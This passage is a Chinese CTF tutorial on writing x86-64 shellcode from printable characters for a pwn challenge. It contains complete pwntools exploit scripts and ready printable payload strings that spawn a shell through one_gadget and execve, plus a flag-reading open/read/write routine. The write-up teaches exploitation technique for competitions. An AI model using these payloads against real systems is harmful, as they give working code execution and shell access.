1 2 3 4 5 6 7 8 9 10 | >>> hex ( 0x7eff56f0d000 - 0x7eff568f4000 - 0x4f2a5 ) '0x5c9d5b' >>> hex ( 0x7eff56f0d000 - 0x7eff568f4000 - 0x4f302 ) '0x5c9cfe' >>> hex ( 0x7eff56f0d000 - 0x7eff568f4000 - 0xe534f ) '0x533cb1' >>> hex ( 0x7eff56f0d000 - 0x7eff568f4000 - 0xe54f7 ) '0x533b09' >>> hex ( 0x7eff56f0d000 - 0x7eff568f4000 - 0xe54fe ) '0x533b02' |
我们把这个偏移值拆成一个个单字节来看,比如0x5c9d5b
,看作[0x5c,0x9d,0x5b]
三个字节,发现0x9d
是我们不好构造的值,同理0x9c/0xb1
都是一样,那么就排除掉了前三个one_gadget
,剩下两个其中的[0x53,0x3b,0x9,0x2]
都是我们可以构造的值,所以说这一步就是挑软柿子捏,反正one_gadget
有很多,找出能容易利用的。下一步,我们看回这两个one_gadget
需要满足的条件,我选了个容易满足的0xe54fe
,让rcx = 0 & [rbp-0x70] = 0
即可,rcx
和栈都是我们能直接控制的
先贴出最终exp
,要注意刚开始很多个push
,1是满足one_gadget
利用条件,2是xor
指令中必须使用立即数才能保证指令不存在NULL字符,所以需要填充出偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) elf = ELF( './shellcode' ) libc = elf.libc one = [ 0x4f2a5 , 0x4f302 , 0xe534f , 0xe54f7 , 0xe54fe , 0xe5502 , 0xe553d , 0x10a2fc , 0x10a308 ] payload = asm( ''' push r9 #r9=0 pop rcx #传递给rcx来操作比较节省字节 push rcx #push大量NULL值,满足one_gadget条件:[rbp-0x70] == NULL push rcx push rcx push rcx push rcx push rcx push rcx push rcx push rcx push rcx push rax pop rdx #save shellcode_addr push rsp pop rax #rax=rsp push 0x53535353 pop rcx xor dword ptr [rax+0x48],ecx #相当于往rsp+0x48写入0x53535353,因为本来值为0 push 0x51 pop rcx xor dword ptr [rax+0x48],ecx push 0x68 pop rcx xor dword ptr [rax+0x49],ecx #0x535353^0x685a=0x533b02 push 0x53 pop rcx xor dword ptr [rax+0x4b],ecx #清空高位 push 0x68 pop rcx xor dword ptr [rdx+0x41],ecx #造sub qword ptr [rax+0x48],rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx pop rcx #取出栈中的构造好的偏移值 push rdx #rdx=shellcode_addr push rdx #干点别的事,偏移不够 push 0x6f ''' ) payload + = b 'HAHH' #占位,之后xor成sub指令 payload + = asm( ''' pop rcx #rcx=0x6f pop rax #rax=shellcode_addr xor dword ptr [rax+0x54],ecx #先往shellcode_addr+0x54写入0x6f xor al,0x54 push r9 pop rcx #rcx=0,满足one_gadget条件 push r9 #无意义,填充偏移 pop r9 #控制最后一条指令与想造ret的位置只保留一个默认指令 ''' ) print (payload) p.sendafter(b 'you' ,payload) p.interactive() |
可见字符payload:
1 | AQYQQQQQQQQQQPZTXhSSSSY1HHjQY1HHjhY1HIjSY1HKjhY1JAYYYYYYYYYYRRjoHAHHYX1HT4TAQYAQAY |
这里又换了一种方式构造ret
指令,稍微提一下,如果异或不能直接构造出对应指令的值,那么可以先xor
再add
,但这里的话相当于只用了加法,0x6f+0x54=0xc3
就能直接构造出来,如果不能的话可以再次异或再用默认指令执行add
,这样可获得的值会更多
这种方式虽然在现在能找到合适的值,但是逃避绝对不是解决问题的好办法,而且换到其他题目中不一定是要执行one_gadget
也可能需要调用其他函数,接下来介绍一种更加稳定和通用的方式
这次我们不选择容易构造出偏移值的one_gadget
,我们选最方便的,先不考虑如何构造的问题,比如第一个one_gadget
就很方便利用
1 2 3 4 5 | root@ubuntu:~ / pwn / # one_gadget libc.so.6 0x4f2a5 execve( "/bin/sh" , rsp + 0x40 , environ) constraints: rsp & 0xf = = 0 rcx = = NULL |
然后算出偏移,这次我们选用的相关libc
地址是__libc_start_main+231
,这个地址在栈中经常出现,更容易获得,可以说是几乎每道题都能找得到,而mmap
的地址可不是每道题都有
1 2 | >>> hex ( 0x7fea022b6c87 - 0x7fea02295000 - 0x4f2a5 ) '-0x2d61e' |
那么偏移量就是0x2d61e
,看似我们还是无法构造出其中的0xd6
字节,那么将这个值除以2看看
1 2 | >>> hex ( 0x2d61e / / 2 ) '0x16b0f' |
这个值中包含[0x01,0x6b,0x0f]
,我们就很好构造了,那么怎么通过这个值构造回0x2d61e
,最直接的办法肯定是造两个add
指令,将__libc_start_main+231
加上两个0x16b0f
就获得one_gadget
地址,但是,不是每个偏移量除一次就能获得好构造的字节的,如果除5次好利用就造5个add
指令将会大大消耗shellcode
的字节数,而且造指令也挺麻烦,偏移量需要是可以使用的字符作为立即数,那么我们换个思路,我们控制add
指令执行多少次,那就避免了疯狂造指令的行为,所以这里是要介绍通过push+ret
来实现流程控制的方法
先放出最终exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) #p = remote('119.3.83.106',10565) elf = ELF( './shellcode' ) libc = elf.libc one = [ 0x4f2a5 , 0x4f302 , 0xe534f , 0xe54f7 , 0xe54fe , 0xe5502 , 0xe553d , 0x10a2fc , 0x10a308 ] payload = asm( ''' push rcx #垫一下,之后满足rsp&0xf=0的条件 push rax pop rdx #rdx=shellcode_addr push rsp pop rax #rax=rsp pop rcx pop rcx pop r10 #r10=__libc_csu_init=0xxxxxxxxxxxxxa0 pop rcx pop rcx pop rcx pop rcx pop r8 #save __libc_start_main+231 pop rcx pop rcx push r9 #r9=0 push 0x42425a5a pop rcx xor dword ptr [rax+0x48],ecx #相当于往rsp+0x48写入0x42425a5a,因为本来值为0 push 0x55 pop rcx xor dword ptr [rax+0x48],ecx push 0x31 pop rcx xor dword ptr [rax+0x49],ecx push 0x43 pop rcx xor dword ptr [rax+0x4a],ecx push 0x42 pop rcx xor dword ptr [rax+0x4b],ecx #0x42425a5a^0x42433155=0x16b0f push r10 pop rcx xor dword ptr [rdx+0x68],ecx #将xxxxxxa0写入shellcode_addr+0x58 push 0x52 pop rcx xor dword ptr [rdx+0x68],ecx push 0x31 pop rcx xor dword ptr [rdx+0x68],ecx #0xa0^0x52^0x31=0xc3=ret push 0x43 pop rcx xor dword ptr [rdx+0x59],ecx #造add qword ptr [rax+0x48],rdx push rax pop rcx #save stack_addr push rdx pop rax #rax=shellcode_addr pop rdx #rdx=0x16b0f push r8 #r8=__libc_start_main+231 xor al,0x58 #构造出add指令的位置 push rax #push之后就能再次执行 push rcx pop rax #还原rax为stack_addr ''' ) payload + = b 'HBPH' #占位,之后xor成add指令 payload + = asm( ''' push r10 #无意义,填充偏移 pop rcx push rcx pop rcx push rcx pop rcx push rcx pop rcx push r9 #r9=0 pop rcx #rcx=0,满足one_gadget条件 ''' ) print (payload) p.sendafter(b 'you' ,payload) p.interactive() |
可见字符payload:
1 | QPZTXYYAZYYYYAXYYAQhZZBBY1HHjUY1HHj1Y1HIjCY1HJjBY1HKARY1JhjRY1Jhj1Y1JhjCY1JYPYRXZAP4XPQXHBPHARYQYQYQYAQY |
动态调试起来讲解一下怎么实现流程控制的部分
首先构造出ret
指令,这个在前面用过,这里就不再提,之后执行xor dword ptr [rdx+0x59],ecx
是异或HBPH
字符,之后造出add dword ptr [rax + 0x48], edx
指令用来将__libc_start_main+231
修改为one_gadget
地址
然后这里有个xor al,0x58; push rax
,此时rax=shellcode_addr
,所以构造出shellcode_addr+0x58
,这个位置就是add
指令的位置
现在是在执行第一次的add
指令
然后执行ret
的时候,跳回之前add
指令的地方再次执行,可以看到现在栈顶就是one_gadget
的地址,之后再次ret
的时候就跳到one_gadget
来getshell
了,所以说我们需要控制重复执行的指令在shellcode
的尾部,之后构造出要重复执行指令的位置进行push
,控制push
的次数以及ret
指令就能控制执行重复指令的次数,实现循环的效果,这里需要注意一下我选用的修改libc
地址的指令为add qword ptr [rax+0x48],rdx
,而默认NULL字符解析的指令是add byte ptr [rax], al
会影响到构造偏移值的过程,所以造的ret
指令需要紧跟着shellcode
最后面,或者选用其他指令来避免
0x05 ORW
在熟悉流程控制的技巧之后,我觉得还有一个更实用的案例就是ORW,首先将各种参数push进栈,最后循环进行pop设置参数以及三次syscall,分别是open、read、write,这样就能大大节省指令长度,而且更加贴近赛题,众所周知,想要快速提升pwn题目的复杂度首要操作就是禁止getshell只能ORW
不过这里没什么新的东西可说了,有不懂的地方可以先看后一节的构造execve
系统调用再回来看,这里就直接贴出exp,这段shellcode
需要满足两个条件,1. rax = shellcode_addr
,2. r8~r15
其中一个寄存器为0即可,这里可以根据实际环境替换shellcode
中使用的r9
寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) #p = remote('119.3.83.106',10565) payload = asm( ''' push 0x52545953 #xor造flag字符串 pop rcx xor dword ptr [rax+0x68],ecx pop rcx #xor造ret指令 pop rcx xor dword ptr [rax+0x59],ecx push 0x52 pop rcx xor dword ptr [rax+0x59],ecx push 0x444e6f6e #xor造pop_rdi/pop_rsi/syscall指令 pop rcx xor dword ptr [rax+0x55],ecx push rax xor al,0x53 push rax #构造出循环开始的地址 pop r10 pop rax #还原rax push r9 #r9=0 pop rcx #rcx=0 push r10 #布置write参数 xor al,0x68 push rax pop rdx push rdx #rsi=buf=shellcode_addr+0x68 push 0x43 pop rax xor al,0x42 #write_rdi=fd=1 push rax push 0x50 #write_rdx=len push 0x42 pop rax xor al,0x43 push rax #write_syscall_num=1 push r10 #布置read参数 push rdx #read_rsi=shellcode_addr+0x68 push 0x41 pop rax xor al,0x42 push rax #read_rdi=fd=3 push 0x50 #read_rdx=len push rcx #read_syscall_num=0 push r10 #布置open参数 push rcx #open_rsi=0 push rdx #open_rdi=str_flag_addr push rcx #open_rdx=0 push 0x41 pop rax xor al,0x43 push rax #open_syscall_num=2 pop rax #循环开始 pop rdx ''' ) payload + = b '1' #之后xor成pop rdi指令 payload + = b '1' #之后xor成pop rsi指令 payload + = b 'AA' #之后xor成syscall指令 payload + = b '1111' #之后xor成ret指令 payload + = b '5' * 15 #之后xor成flag字符串,偏移不够需要填充 print (payload) p.sendafter(b 'you' ,payload) p.interactive() |
可见字符payload:
1 | hSYTRY1HhYY1HYjRY1HYhnoNDY1HUP4SPAZXAQYAR4hPZRjCX4BPjPjBX4CPARRjAX4BPjPQARQRQjAX4CPXZ11AA1111555555555555555 |
0x06 execve
通过跳回main函数片段以及寻找one_gadget的方式来利用并不通用,肯定是会受到环境的影响,相比起来,直接利用可见字符构造系统调用getshell才是 最帅 的方式
核心操作还是利用xor
指令,这里就不多说,列出一些通过异或构造的值
1 2 3 4 5 6 7 8 9 10 11 12 | 0x41 ^ 0x6e = 0x2f / 0x41 ^ 0x6f = 0x2e . 0x35 ^ 0x41 ^ 0x5a = 0x2e . 0x42 ^ 0x31 = 0x73 s 0x59 ^ 0x31 = 0x68 h 0x68 可以直接用 h 0x53 ^ 0x31 = 0x62 b 0x58 ^ 0x31 = 0x69 i 0x5a ^ 0x34 = 0x6e n 0x6e 可以直接用 0x31 ^ 0x41 ^ 0x4b = 0x3b #rax值 0x41414141 ^ 0x4141444e = 0x50f #050f是syscall指令 |
贴出最终exp
,在这个exp
中大概只需要满足一个条件:rax = shellcode_addr
,其次是r9 = 0
,这条指令中的寄存器可以直接改成r8-r15
中任意一个,而不用修改偏移,只要其中一个寄存器值为0即可,这个概率太大了,所以这个条件几乎可以忽略。如果需要在其他题目中使用这段shellcode
需要先让rax = shellcode_addr
,其次要手动校正其中的偏移量。exp
在常用的pwn
题系统版本ubuntu 16/18/20/22
上经过测试,工作良好。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | from pwn import * context(log_level = 'debug' ,os = 'linux' ,arch = 'amd64' ) p = process( './shellcode' ) #p = remote('119.3.83.106',10565) elf = ELF( './shellcode' ) payload = asm( ''' xor al,0x31 push 0x68 #构造/bin/sh字符串 pop rcx xor dword ptr [rax+0x54],ecx #h push 0x42 pop rcx xor dword ptr [rax+0x53],ecx #0x42 push 0x31 pop rdx xor dword ptr [rax+0x53],edx #0x42^0x31=0x73=s push 0x41 pop rcx xor dword ptr [rax+0x52],ecx #0x41 xor dword ptr [rax+0x4e],ecx #0x41 push 0x6e pop rcx xor dword ptr [rax+0x52],ecx #0x41^0x6e=0x2f=/ xor dword ptr [rax+0x4e],ecx #0x41^0x6e=0x2f=/ xor dword ptr [rax+0x51],ecx #n push 0x58 pop rcx xor dword ptr [rax+0x50],ecx #0x58 xor dword ptr [rax+0x50],edx #0x58^0x31=0x69=i push 0x53 pop rcx xor dword ptr [rax+0x4f],ecx #0x53 xor dword ptr [rax+0x4f],edx #0x53^0x31=0x62=b xor al,0x31 #shellcode_addr xor dword ptr [rax+0x42],edx #在+0x43偏移构造pop rsi指令(0x5e) push r14 #r14=0,可以直接换成r8-r15进行尝试 outsd dx, dword ptr [rsi] #这个指令的值为0x6f,相当于占位操作,之后xor修改指令 xor dword ptr [rax+0x4b],edx #在+0x4a偏移构造pop rdi指令(0x5f) xor al,0x31 xor al,0x4e #/bin/sh字符串地址 push rax outsb dx, byte ptr [rsi] #这个指令的值为0x6e,相当于占位 xor al,0x4e #shellcode_addr+0x31 push rax #无意义,填充偏移 push 0x4141444e pop rcx xor dword ptr [rax+0x31],ecx #0x41414141^0x4141444e=0x00050f(syscall) push rdx pop rax #rax=0x31 xor al,0x41 xor al,0x4b #0x31^0x41^0x4b=0x3b,execve调用号 push rsi pop rdx #清零rdx ''' ) payload + = b 'AAAA' #提前布置0x41414141 print (payload) p.sendafter(b 'you' ,payload) p.interactive() |
注意一下,虽然都是可见字符,但是不能直接运行./shellcode
来传入,因为输入的时候会带回车
可见字符payload:
1 | 41jhY1HTjBY1HSj1Z1PSjAY1HR1HNjnY1HR1HN1HQjXY1HP1PPjSY1HO1PO411PBAVo1PK414NPn4NPhNDAAY1H1RX4A4KVZAAAA |
其中使用的独特字符,共22个:
1 | [ '4' , '1' , 'j' , 'h' , 'Y' , 'H' , 'T' , 'B' , 'S' , 'Z' , 'P' , 'A' , 'R' , 'N' , 'n' , 'Q' , 'X' , 'O' , 'V' , 'o' , 'K' , 'D' ] |
0x07 技巧总结
回顾一下在前面实际利用方式中出现的姿势,以及介绍一些没能用上的一些技巧
- 以不变应万变
利用NULL字符被解析成的add byte ptr [rax], al
默认指令,找出需要构造指令的值与白名单字符中是否有倍数关系,控制默认指令执行次数即可构造,比如ret(0xc3)
指令,0xc3/0x41=3
,则控制al
为0x41
执行三次默认指令后,就会在+0x41
偏移处构造出ret
指令,空出的部分可以用无意义指令填充 - 地址低字节偏移不变原则
利用libc
或程序中的函数地址最低三位偏移不变,找出与其异或可以构造出的指令值(一次异或不行可以多次),就可以稳定构造指令,比如在程序中出现的__libc_csu_init
地址以a0
结尾,那么找到0xa0^0x52^0x31=0xc3
,既然结尾的a0
偏移不变,那就保证了每次百分百构造出ret
指令 - xor+add
很多时候,手中的白名单字符相互异或都无法构造出需要的值,我们可以先通过比如xor dword ptr [rax+0x54],ecx
指令向其异或构造出一些值,再将al
控制相同的立即数,按照例子就是0x54
(要保证写入的地址一样),再去执行一次默认指令add
,就结合了异或和加法运算,可以构造出更多的值 单字节溢出造指令
还是利用NULL字符被解析成的add byte ptr [rax], al
的指令,可以发现这里是单字节为单位操作的,如果add
的结果大于0xff
将被忽略,举个例子,比如需要mov al,0
的指令,值为0xb0
,那么我们根据白名单字符,就填给al
传个0x50
1234payload
=
asm(
'''
xor al,0x50 #shellcode_addr+0x50
'''
)
执行默认指令三次后,
shellcode_addr+0x50
指向的值为0xf0
,再执行一次值就会溢出,高位被忽略,值为0x40
12RAX
0x7f2e4e269050
◂—
0x40
/
*
'@'
*
/
#第四次
RAX
0x7f2e4e269050
◂—
0x90
#第五次
之后我们发现,值没有还原为
0x50
,只有0x80
(0x80*2=0x100
)会在溢出的时候溢出值等同于他本身,那比如么我们现在输入的是0x50
,我们就可以造出指令值为X0
(X为任意16进制数)的值,执行15次后就会获得0xb0
12345RAX
0x7f2e4e269050
◂—
0xb0
pwndbg> u
0x7f2e4e269050
5
►
0x7f2e4e269050
mov al,
0
0x7f2e4e269052
add byte ptr [rax], al
只需要控制好执行指令的次数就行,如果
add
次数过多就填充无意义的指令,如果add
的次数过少就调大al
的值,如果没有合适的al
值可以先异或构造rbp&rsp赌狗
我们利用手头上的白名单字符不管怎么异或都是无法获得ret(0xc3)
指令的,那么我们可以利用PIE
,给我们随机创造一些值,比如之前提到0xa0^0x52^0x31=0xc3
,当时是利用__libc_csu_init
地址最后两位偏移不变,但这个偏移是随着libc
版本变化的并不通用,我们可以等PIE
给我们创造出0xa0
,多运行几次观察rbp/rsp
的值,运行看看:
观察到rbp
是0结尾而rsp
是8结尾,多运行几次会发现前面的值都会变,而最后一位永远不会变
然后就可以构造以下payload:1234567891011payload
=
asm(
'''
push rbp
pop rcx
xor dword ptr [rax+0x34],ecx
push 0x31
pop rcx
xor dword ptr [rax+0x34],ecx
push 0x52
xor dword ptr [rax+0x34],ecx
'''
)
既然
rbp
最后一位是0是固定的,那么爆破rbp
为a0
结尾就是1/16的概率
可以看到,如果rbp
为a0
结尾,就能按照预期造出ret
push+ret实现流程控制
把想要多次执行的指令放在shellcode
末尾,然后构造出想要多次执行的指令的起始地址,控制push
次数来控制循环次数,最后跳到目的地就行,实用的示例就是构造地址的时候,算出偏移量后一直除以2,看字节是否都方便构造,然后控制执行多次add
指令还原出最终的偏移值再利用- 被遗忘的jz
比如jz $+0x50
指令也是可见字符,可以实现短跳,但还没想到在哪个场景下比较实用
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界